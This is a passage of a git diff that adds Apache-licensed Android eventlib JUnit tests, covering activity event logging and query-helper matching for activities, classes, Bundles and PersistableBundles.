+        intent.setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_CLEAR_TASK);
+        Activity activity = sInstrumentation.startActivitySync(intent);
+        EventLogs.resetLogs();
+
+        sInstrumentation.callActivityOnRestart(activity);
+
+        EventLogs<ActivityRestartedEvent> eventLogs = ActivityRestartedEvent
+                .queryPackage(sContext.getPackageName())
+                .whereActivity().className().isEqualTo(GENERATED_ACTIVITY_CLASS_NAME);
+        assertThat(eventLogs.poll()).isNotNull();
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/premade/EventLibAppComponentFactoryTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/premade/EventLibAppComponentFactoryTest.java
new file mode 100644
index 0000000..188e993
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/premade/EventLibAppComponentFactoryTest.java
@@ -0,0 +1,61 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.premade;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.eventlib.EventLogs;
+import com.android.eventlib.events.activities.ActivityCreatedEvent;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+/**
+ * This test assumes that EventLibAppComponentFactory is in the AndroidManifest.xml of the
+ * instrumented test process.
+ */
+@RunWith(JUnit4.class)
+public class EventLibAppComponentFactoryTest {
+
+    // This must exist as an <activity> in AndroidManifest.xml
+    private static final String DECLARED_ACTIVITY_WITH_NO_CLASS
+            = "com.android.generatedEventLibActivity";
+
+    private static final Context CONTEXT =
+            InstrumentationRegistry.getInstrumentation().getContext();
+
+    @Test
+    public void startActivity_activityDoesNotExist_startsLoggingActivity() {
+        Intent intent = new Intent();
+        intent.setComponent(new ComponentName(CONTEXT.getPackageName(),
+                DECLARED_ACTIVITY_WITH_NO_CLASS));
+        CONTEXT.startActivity(intent);
+
+        EventLogs<ActivityCreatedEvent> eventLogs =
+                ActivityCreatedEvent.queryPackage(CONTEXT.getPackageName())
+                .whereActivity().className().isEqualTo(DECLARED_ACTIVITY_WITH_NO_CLASS);
+        assertThat(eventLogs.poll()).isNotNull();
+    }
+
+}
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/queryhelpers/ActivityQueryHelperTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/queryhelpers/ActivityQueryHelperTest.java
new file mode 100644
index 0000000..ce14238
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/queryhelpers/ActivityQueryHelperTest.java
@@ -0,0 +1,111 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.queryhelpers;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.Activity;
+
+import com.android.eventlib.events.CustomEvent;
+import com.android.eventlib.info.ActivityInfo;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public class ActivityQueryHelperTest {
+
+    private final CustomEvent.CustomEventQuery mQuery =
+            CustomEvent.queryPackage("testPackage"); // package is not used
+
+    private static final Class<? extends Activity> CLASS_1 = Activity.class;
+    private static final ActivityInfo CLASS_1_ACTIVITY_INFO = new ActivityInfo(CLASS_1);
+    private static final String CLASS_1_CLASS_NAME = CLASS_1.getName();
+    private static final String CLASS_1_SIMPLE_NAME = CLASS_1.getSimpleName();
+    private static final ActivityInfo CLASS_2_ACTIVITY_INFO =
+            new ActivityInfo("differentClassName");
+
+    @Test
+    public void matches_noRestrictions_returnsTrue() {
+        ActivityQueryHelper<CustomEvent.CustomEventQuery> activityQueryHelper =
+                new ActivityQueryHelper<>(mQuery);
+
+        assertThat(activityQueryHelper.matches(CLASS_1_ACTIVITY_INFO)).isTrue();
+    }
+
+    @Test
+    public void matches_isSameClassAs_doesMatch_returnsTrue() {
+        ActivityQueryHelper<CustomEvent.CustomEventQuery> activityQueryHelper =
+                new ActivityQueryHelper<>(mQuery);
+
+        activityQueryHelper.isSameClassAs(CLASS_1);
+
+        assertThat(activityQueryHelper.matches(CLASS_1_ACTIVITY_INFO)).isTrue();
+    }
+
+    @Test
+    public void matches_isSameClassAs_doesNotMatch_returnsFalse() {
+        ActivityQueryHelper<CustomEvent.CustomEventQuery> activityQueryHelper =
+                new ActivityQueryHelper<>(mQuery);
+
+        activityQueryHelper.isSameClassAs(CLASS_1);
+
+        assertThat(activityQueryHelper.matches(CLASS_2_ACTIVITY_INFO)).isFalse();
+    }
+
+    @Test
+    public void matches_className_doesMatch_returnsTrue() {
+        ActivityQueryHelper<CustomEvent.CustomEventQuery> activityQueryHelper =
+                new ActivityQueryHelper<>(mQuery);
+
+        activityQueryHelper.className().isEqualTo(CLASS_1_CLASS_NAME);
+
+        assertThat(activityQueryHelper.matches(CLASS_1_ACTIVITY_INFO)).isTrue();
+    }
+
+    @Test
+    public void matches_className_doesNotMatch_returnsFalse() {
+        ActivityQueryHelper<CustomEvent.CustomEventQuery> activityQueryHelper =
+                new ActivityQueryHelper<>(mQuery);
+
+        activityQueryHelper.className().isEqualTo(CLASS_1_CLASS_NAME);
+
+        assertThat(activityQueryHelper.matches(CLASS_2_ACTIVITY_INFO)).isFalse();
+    }
+
+    @Test
+    public void matches_simpleName_doesMatch_returnsTrue() {
+        ActivityQueryHelper<CustomEvent.CustomEventQuery> activityQueryHelper =
+                new ActivityQueryHelper<>(mQuery);
+
+        activityQueryHelper.simpleName().isEqualTo(CLASS_1_SIMPLE_NAME);
+
+        assertThat(activityQueryHelper.matches(CLASS_1_ACTIVITY_INFO)).isTrue();
+    }
+
+    @Test
+    public void matches_simpleName_doesNotMatch_returnsFalse() {
+        ActivityQueryHelper<CustomEvent.CustomEventQuery> activityQueryHelper =
+                new ActivityQueryHelper<>(mQuery);
+
+        activityQueryHelper.simpleName().isEqualTo(CLASS_1_SIMPLE_NAME);
+
+        assertThat(activityQueryHelper.matches(CLASS_2_ACTIVITY_INFO)).isFalse();
+    }
+
+}
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/queryhelpers/BundleKeyQueryHelperTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/queryhelpers/BundleKeyQueryHelperTest.java
new file mode 100644
index 0000000..9283aba
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/queryhelpers/BundleKeyQueryHelperTest.java
@@ -0,0 +1,165 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.queryhelpers;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.os.Bundle;
+
+import com.android.eventlib.events.CustomEvent;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+import java.io.Serializable;
+
+@RunWith(JUnit4.class)
+public class BundleKeyQueryHelperTest {
+
+    private static final String KEY = "Key";
+    private static final String KEY2 = "Key2";
+    private static final String STRING_VALUE = "String";
+    private static final String DIFFERENT_STRING_VALUE = "String2";
+
+    private final CustomEvent.CustomEventQuery mQuery =
+            CustomEvent.queryPackage("testPackage"); // package is not used
+    private final Bundle mBundle = new Bundle();
+    private final Bundle mBundle2 = new Bundle();
+    private final Serializable mSerializable = "SerializableString";
+    private final Serializable mDifferentSerializable = "SerializableString2";
+
+    @Test
+    public void matches_noRestrictions_returnsTrue() {
+        BundleKeyQueryHelper<CustomEvent.CustomEventQuery> bundleKeyQueryHelper =
+                new BundleKeyQueryHelper<>(mQuery);
+
+        assertThat(bundleKeyQueryHelper.matches(mBundle, KEY)).isTrue();
+    }
+
+    @Test
+    public void matches_stringValueRestriction_meetsRestriction_returnsTrue() {
+        mBundle.putString(KEY, STRING_VALUE);
+        BundleKeyQueryHelper<CustomEvent.CustomEventQuery> bundleKeyQueryHelper =
+                new BundleKeyQueryHelper<>(mQuery);
+
+        bundleKeyQueryHelper.stringValue().isEqualTo(STRING_VALUE);
+
+        assertThat(bundleKeyQueryHelper.matches(mBundle, KEY)).isTrue();
+    }
+
+    @Test
+    public void matches_stringValueRestriction_doesNotMeetRestriction_returnsFalse() {
+        mBundle.putString(KEY, STRING_VALUE);
+        BundleKeyQueryHelper<CustomEvent.CustomEventQuery> bundleKeyQueryHelper =
+                new BundleKeyQueryHelper<>(mQuery);
+
+        bundleKeyQueryHelper.stringValue().isEqualTo(DIFFERENT_STRING_VALUE);
+
+        assertThat(bundleKeyQueryHelper.matches(mBundle, KEY)).isFalse();
+    }
+
+    @Test
+    public void matches_bundleValueRestriction_meetsRestriction_returnsTrue() {
+        mBundle.putBundle(KEY, mBundle2);
+        mBundle2.putString(KEY2, STRING_VALUE);
+        BundleKeyQueryHelper<CustomEvent.CustomEventQuery> bundleKeyQueryHelper =
+                new BundleKeyQueryHelper<>(mQuery);
+
+        bundleKeyQueryHelper.bundleValue().key(KEY2).exists();
+
+        assertThat(bundleKeyQueryHelper.matches(mBundle, KEY)).isTrue();
+    }
+
+    @Test
+    public void matches_bundleValueRestriction_doesNotMeetRestriction_returnsFalse() {
+        mBundle.putBundle(KEY, mBundle2);
+        mBundle2.remove(KEY2);
+        BundleKeyQueryHelper<CustomEvent.CustomEventQuery> bundleKeyQueryHelper =
+                new BundleKeyQueryHelper<>(mQuery);
+
+        bundleKeyQueryHelper.bundleValue().key(KEY2).exists();
+
+        assertThat(bundleKeyQueryHelper.matches(mBundle, KEY)).isFalse();
+    }
+
+    @Test
+    public void matches_serializableValueRestriction_meetsRestriction_returnsTrue() {
+        mBundle.putSerializable(KEY, mSerializable);
+        BundleKeyQueryHelper<CustomEvent.CustomEventQuery> bundleKeyQueryHelper =
+                new BundleKeyQueryHelper<>(mQuery);
+
+        bundleKeyQueryHelper.serializableValue().isEqualTo(mSerializable);
+
+        assertThat(bundleKeyQueryHelper.matches(mBundle, KEY)).isTrue();
+    }
+
+    @Test
+    public void matches_serializableValueRestriction_doesNotMeetRestriction_returnsFalse() {
+        mBundle.putSerializable(KEY, mSerializable);
+        BundleKeyQueryHelper<CustomEvent.CustomEventQuery> bundleKeyQueryHelper =
+                new BundleKeyQueryHelper<>(mQuery);
+
+        bundleKeyQueryHelper.serializableValue().isEqualTo(mDifferentSerializable);
+
+        assertThat(bundleKeyQueryHelper.matches(mBundle, KEY)).isFalse();
+    }
+
+    @Test
+    public void matches_existsRestriction_meetsRestriction_returnsTrue() {
+        mBundle.putString(KEY, STRING_VALUE);
+        BundleKeyQueryHelper<CustomEvent.CustomEventQuery> bundleKeyQueryHelper =
+                new BundleKeyQueryHelper<>(mQuery);
+
+        bundleKeyQueryHelper.exists();
+
+        assertThat(bundleKeyQueryHelper.matches(mBundle, KEY)).isTrue();
+    }
+
+    @Test
+    public void matches_existsRestriction_doesNotMeetRestriction_returnsFalse() {
+        mBundle.remove(KEY);
+        BundleKeyQueryHelper<CustomEvent.CustomEventQuery> bundleKeyQueryHelper =
+                new BundleKeyQueryHelper<>(mQuery);
+
+        bundleKeyQueryHelper.exists();
+
+        assertThat(bundleKeyQueryHelper.matches(mBundle, KEY)).isFalse();
+    }
+
+    @Test
+    public void matches_doesNotExistRestriction_meetsRestriction_returnsTrue() {
+        mBundle.remove(KEY);
+        BundleKeyQueryHelper<CustomEvent.CustomEventQuery> bundleKeyQueryHelper =
+                new BundleKeyQueryHelper<>(mQuery);
+
+        bundleKeyQueryHelper.doesNotExist();
+
+        assertThat(bundleKeyQueryHelper.matches(mBundle, KEY)).isTrue();
+    }
+
+    @Test
+    public void matches_doesNotExistRestriction_doesNotMeetRestriction_returnsFalse() {
+        mBundle.putString(KEY, STRING_VALUE);
+        BundleKeyQueryHelper<CustomEvent.CustomEventQuery> bundleKeyQueryHelper =
+                new BundleKeyQueryHelper<>(mQuery);
+
+        bundleKeyQueryHelper.doesNotExist();
+
+        assertThat(bundleKeyQueryHelper.matches(mBundle, KEY)).isFalse();
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/queryhelpers/BundleQueryHelperTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/queryhelpers/BundleQueryHelperTest.java
new file mode 100644
index 0000000..12d9b95
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/queryhelpers/BundleQueryHelperTest.java
@@ -0,0 +1,93 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.queryhelpers;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.os.Bundle;
+
+import com.android.eventlib.events.CustomEvent;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public class BundleQueryHelperTest {
+
+    private static final String KEY = "Key";
+    private static final String KEY2 = "Key2";
+    private static final String STRING_VALUE = "value";
+
+    private final CustomEvent.CustomEventQuery mQuery =
+            CustomEvent.queryPackage("testPackage"); // package is not used
+    private final Bundle mBundle = new Bundle();
+
+    @Test
+    public void matches_noRestrictions_returnsTrue() {
+        BundleQueryHelper<CustomEvent.CustomEventQuery> bundleQueryHelper =
+                new BundleQueryHelper<>(mQuery);
+
+        assertThat(bundleQueryHelper.matches(mBundle)).isTrue();
+    }
+
+    @Test
+    public void matches_restrictionOnOneKey_restrictionIsMet_returnsTrue() {
+        mBundle.putString(KEY, STRING_VALUE);
+        BundleQueryHelper<CustomEvent.CustomEventQuery> bundleQueryHelper =
+                new BundleQueryHelper<>(mQuery);
+
+        bundleQueryHelper.key(KEY).exists();
+
+        assertThat(bundleQueryHelper.matches(mBundle)).isTrue();
+    }
+
+    @Test
+    public void matches_restrictionOnOneKey_restrictionIsNotMet_returnsFalse() {
+        mBundle.putString(KEY, STRING_VALUE);
+        BundleQueryHelper<CustomEvent.CustomEventQuery> bundleQueryHelper =
+                new BundleQueryHelper<>(mQuery);
+
+        bundleQueryHelper.key(KEY).doesNotExist();
+
+        assertThat(bundleQueryHelper.matches(mBundle)).isFalse();
+    }
+
+    @Test
+    public void matches_restrictionOnMultipleKeys_oneRestrictionIsNotMet_returnsFalse() {
+        mBundle.putString(KEY, STRING_VALUE);
+        mBundle.remove(KEY2);
+        BundleQueryHelper<CustomEvent.CustomEventQuery> bundleQueryHelper =
+                new BundleQueryHelper<>(mQuery);
+
+        bundleQueryHelper.key(KEY).exists();
+        bundleQueryHelper.key(KEY2).exists();
+
+        assertThat(bundleQueryHelper.matches(mBundle)).isFalse();
+    }
+
+    @Test
+    public void matches_restrictionOnNonExistingKey_returnsFalse() {
+        mBundle.remove(KEY);
+        BundleQueryHelper<CustomEvent.CustomEventQuery> bundleQueryHelper =
+                new BundleQueryHelper<>(mQuery);
+
+        bundleQueryHelper.key(KEY).stringValue().isEqualTo(STRING_VALUE);
+
+        assertThat(bundleQueryHelper.matches(mBundle)).isFalse();
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/queryhelpers/ClassQueryHelperTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/queryhelpers/ClassQueryHelperTest.java
new file mode 100644
index 0000000..175204e
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/queryhelpers/ClassQueryHelperTest.java
@@ -0,0 +1,108 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.queryhelpers;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.app.Activity;
+
+import com.android.eventlib.events.CustomEvent;
+import com.android.eventlib.info.ClassInfo;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public class ClassQueryHelperTest {
+    private final CustomEvent.CustomEventQuery mQuery =
+            CustomEvent.queryPackage("testPackage"); // package is not used
+
+    private static final Class<?> CLASS_1 = Activity.class;
+    private static final ClassInfo CLASS_1_CLASS_INFO = new ClassInfo(CLASS_1);
+    private static final String CLASS_1_CLASS_NAME = CLASS_1.getName();
+    private static final String CLASS_1_SIMPLE_NAME = CLASS_1.getSimpleName();
+    private static final ClassInfo CLASS_2_CLASS_INFO = new ClassInfo("differentClassName");
+
+    @Test
+    public void matches_noRestrictions_returnsTrue() {
+        ClassQueryHelper<CustomEvent.CustomEventQuery> classQueryHelper =
+                new ClassQueryHelper<>(mQuery);
+
+        assertThat(classQueryHelper.matches(CLASS_1_CLASS_INFO)).isTrue();
+    }
+
+    @Test
+    public void matches_isSameClassAs_doesMatch_returnsTrue() {
+        ClassQueryHelper<CustomEvent.CustomEventQuery> classQueryHelper =
+                new ClassQueryHelper<>(mQuery);
+
+        classQueryHelper.isSameClassAs(CLASS_1);
+
+        assertThat(classQueryHelper.matches(CLASS_1_CLASS_INFO)).isTrue();
+    }
+
+    @Test
+    public void matches_isSameClassAs_doesNotMatch_returnsFalse() {
+        ClassQueryHelper<CustomEvent.CustomEventQuery> classQueryHelper =
+                new ClassQueryHelper<>(mQuery);
+
+        classQueryHelper.isSameClassAs(CLASS_1);
+
+        assertThat(classQueryHelper.matches(CLASS_2_CLASS_INFO)).isFalse();
+    }
+
+    @Test
+    public void matches_className_doesMatch_returnsTrue() {
+        ClassQueryHelper<CustomEvent.CustomEventQuery> classQueryHelper =
+                new ClassQueryHelper<>(mQuery);
+
+        classQueryHelper.className().isEqualTo(CLASS_1_CLASS_NAME);
+
+        assertThat(classQueryHelper.matches(CLASS_1_CLASS_INFO)).isTrue();
+    }
+
+    @Test
+    public void matches_className_doesNotMatch_returnsFalse() {
+        ClassQueryHelper<CustomEvent.CustomEventQuery> classQueryHelper =
+                new ClassQueryHelper<>(mQuery);
+
+        classQueryHelper.className().isEqualTo(CLASS_1_CLASS_NAME);
+
+        assertThat(classQueryHelper.matches(CLASS_2_CLASS_INFO)).isFalse();
+    }
+
+    @Test
+    public void matches_simpleName_doesMatch_returnsTrue() {
+        ClassQueryHelper<CustomEvent.CustomEventQuery> classQueryHelper =
+                new ClassQueryHelper<>(mQuery);
+
+        classQueryHelper.simpleName().isEqualTo(CLASS_1_SIMPLE_NAME);
+
+        assertThat(classQueryHelper.matches(CLASS_1_CLASS_INFO)).isTrue();
+    }
+
+    @Test
+    public void matches_simpleName_doesNotMatch_returnsFalse() {
+        ClassQueryHelper<CustomEvent.CustomEventQuery> classQueryHelper =
+                new ClassQueryHelper<>(mQuery);
+
+        classQueryHelper.simpleName().isEqualTo(CLASS_1_SIMPLE_NAME);
+
+        assertThat(classQueryHelper.matches(CLASS_2_CLASS_INFO)).isFalse();
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/queryhelpers/PersistableBundleKeyQueryHelperTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/queryhelpers/PersistableBundleKeyQueryHelperTest.java
new file mode 100644
index 0000000..a587512
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/queryhelpers/PersistableBundleKeyQueryHelperTest.java
@@ -0,0 +1,142 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.queryhelpers;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.os.Bundle;
+import android.os.PersistableBundle;
+
+import com.android.eventlib.events.CustomEvent;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+import java.io.Serializable;
+
+@RunWith(JUnit4.class)
+public class PersistableBundleKeyQueryHelperTest {
+
+    private static final String KEY = "Key";
+    private static final String KEY2 = "Key2";
+    private static final String STRING_VALUE = "String";
+    private static final String DIFFERENT_STRING_VALUE = "String2";
+
+    private final CustomEvent.CustomEventQuery mQuery =
+            CustomEvent.queryPackage("testPackage"); // package is not used
+    private final PersistableBundle mPersistableBundle = new PersistableBundle();
+    private final PersistableBundle mPersistableBundle2 = new PersistableBundle();
+
+    @Test
+    public void matches_noRestrictions_returnsTrue() {
+        PersistableBundleKeyQueryHelper<CustomEvent.CustomEventQuery>
+                persistableBundleKeyQueryHelper = new PersistableBundleKeyQueryHelper<>(mQuery);
+
+        assertThat(persistableBundleKeyQueryHelper.matches(mPersistableBundle, KEY)).isTrue();
+    }
+
+    @Test
+    public void matches_stringValueRestriction_meetsRestriction_returnsTrue() {
+        mPersistableBundle.putString(KEY, STRING_VALUE);
+        PersistableBundleKeyQueryHelper<CustomEvent.CustomEventQuery>
+                persistableBundleKeyQueryHelper = new PersistableBundleKeyQueryHelper<>(mQuery);
+
+        persistableBundleKeyQueryHelper.stringValue().isEqualTo(STRING_VALUE);
+
+        assertThat(persistableBundleKeyQueryHelper.matches(mPersistableBundle, KEY)).isTrue();
+    }
+
+    @Test
+    public void matches_stringValueRestriction_doesNotMeetRestriction_returnsFalse() {
+        mPersistableBundle.putString(KEY, STRING_VALUE);
+        PersistableBundleKeyQueryHelper<CustomEvent.CustomEventQuery>
+                persistableBundleKeyQueryHelper = new PersistableBundleKeyQueryHelper<>(mQuery);
+
+        persistableBundleKeyQueryHelper.stringValue().isEqualTo(DIFFERENT_STRING_VALUE);
+
+        assertThat(persistableBundleKeyQueryHelper.matches(mPersistableBundle, KEY)).isFalse();
+    }
+
+    @Test
+    public void matches_persistableBundleValueRestriction_meetsRestriction_returnsTrue() {
+        mPersistableBundle.putPersistableBundle(KEY, mPersistableBundle2);
+        mPersistableBundle2.putString(KEY2, STRING_VALUE);
+        PersistableBundleKeyQueryHelper<CustomEvent.CustomEventQuery>
+                persistableBundleKeyQueryHelper = new PersistableBundleKeyQueryHelper<>(mQuery);
+
+        persistableBundleKeyQueryHelper.persistableBundleValue().key(KEY2).exists();
+
+        assertThat(persistableBundleKeyQueryHelper.matches(mPersistableBundle, KEY)).isTrue();
+    }
+
+    @Test
+    public void matches_persistableBundleValueRestriction_doesNotMeetRestriction_returnsFalse() {
+        mPersistableBundle.putPersistableBundle(KEY, mPersistableBundle2);
+        mPersistableBundle2.remove(KEY2);
+        PersistableBundleKeyQueryHelper<CustomEvent.CustomEventQuery>
+                persistableBundleKeyQueryHelper = new PersistableBundleKeyQueryHelper<>(mQuery);
+
+        persistableBundleKeyQueryHelper.persistableBundleValue().key(KEY2).exists();
+
+        assertThat(persistableBundleKeyQueryHelper.matches(mPersistableBundle, KEY)).isFalse();
+    }
+
+    @Test
+    public void matches_existsRestriction_meetsRestriction_returnsTrue() {
+        mPersistableBundle.putString(KEY, STRING_VALUE);
+        PersistableBundleKeyQueryHelper<CustomEvent.CustomEventQuery>
+                persistableBundleKeyQueryHelper = new PersistableBundleKeyQueryHelper<>(mQuery);
+
+        persistableBundleKeyQueryHelper.exists();
+
+        assertThat(persistableBundleKeyQueryHelper.matches(mPersistableBundle, KEY)).isTrue();
+    }
+
+    @Test
+    public void matches_existsRestriction_doesNotMeetRestriction_returnsFalse() {
+        mPersistableBundle.remove(KEY);
+        PersistableBundleKeyQueryHelper<CustomEvent.CustomEventQuery>
+                persistableBundleKeyQueryHelper = new PersistableBundleKeyQueryHelper<>(mQuery);
+
+        persistableBundleKeyQueryHelper.exists();
+
+        assertThat(persistableBundleKeyQueryHelper.matches(mPersistableBundle, KEY)).isFalse();
+    }
+
+    @Test
+    public void matches_doesNotExistRestriction_meetsRestriction_returnsTrue() {
+        mPersistableBundle.remove(KEY);
+        PersistableBundleKeyQueryHelper<CustomEvent.CustomEventQuery>
+                persistableBundleKeyQueryHelper = new PersistableBundleKeyQueryHelper<>(mQuery);
+
+        persistableBundleKeyQueryHelper.doesNotExist();
+
+        assertThat(persistableBundleKeyQueryHelper.matches(mPersistableBundle, KEY)).isTrue();
+    }
+
+    @Test
+    public void matches_doesNotExistRestriction_doesNotMeetRestriction_returnsFalse() {
+        mPersistableBundle.putString(KEY, STRING_VALUE);
+        PersistableBundleKeyQueryHelper<CustomEvent.CustomEventQuery>
+                persistableBundleKeyQueryHelper = new PersistableBundleKeyQueryHelper<>(mQuery);
+
+        persistableBundleKeyQueryHelper.doesNotExist();
+
+        assertThat(persistableBundleKeyQueryHelper.matches(mPersistableBundle, KEY)).isFalse();
+    }
+}
diff --git a/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/queryhelpers/PersistableBundleQueryHelperTest.java b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/queryhelpers/PersistableBundleQueryHelperTest.java
new file mode 100644
index 0000000..39f11ec
--- /dev/null
+++ b/common/device-side/bedstead/eventlib/src/test/java/com/android/eventlib/queryhelpers/PersistableBundleQueryHelperTest.java
@@ -0,0 +1,92 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.queryhelpers;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.os.PersistableBundle;
+
+import com.android.eventlib.events.CustomEvent;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public class PersistableBundleQueryHelperTest {
+    private static final String KEY = "Key";
+    private static final String KEY2 = "Key2";
+    private static final String STRING_VALUE = "value";
+
+    private final CustomEvent.CustomEventQuery mQuery =
+            CustomEvent.queryPackage("testPackage"); // package is not used
+    private final PersistableBundle mPersistableBundle = new PersistableBundle();
+
+    @Test
+    public void matches_noRestrictions_returnsTrue() {
+        PersistableBundleQueryHelper<CustomEvent.CustomEventQuery> persistableBundleQueryHelper =
+                new PersistableBundleQueryHelper<>(mQuery);
+
+        assertThat(persistableBundleQueryHelper.matches(mPersistableBundle)).isTrue();
+    }
+
+    @Test
+    public void matches_restrictionOnOneKey_restrictionIsMet_returnsTrue() {
+        mPersistableBundle.putString(KEY, STRING_VALUE);
+        PersistableBundleQueryHelper<CustomEvent.CustomEventQuery> persistableBundleQueryHelper =
+                new PersistableBundleQueryHelper<>(mQuery);
+
+        persistableBundleQueryHelper.key(KEY).exists();
+
+        assertThat(persistableBundleQueryHelper.matches(mPersistableBundle)).isTrue();
+    }
+
+    @Test
+    public void matches_restrictionOnOneKey_restrictionIsNotMet_returnsFalse() {
+        mPersistableBundle.putString(KEY, STRING_VALUE);
+        PersistableBundleQueryHelper<CustomEvent.CustomEventQuery> persistableBundleQueryHelper =
+                new PersistableBundleQueryHelper<>(mQuery);
+
+        persistableBundleQueryHelper.key(KEY).doesNotExist();
+
+        assertThat(persistableBundleQueryHelper.matches(mPersistableBundle)).isFalse();
+    }
+
+    @Test
+    public void matches_restrictionOnMultipleKeys_oneRestrictionIsNotMet_returnsFalse() {
+        mPersistableBundle.putString(KEY, STRING_VALUE);
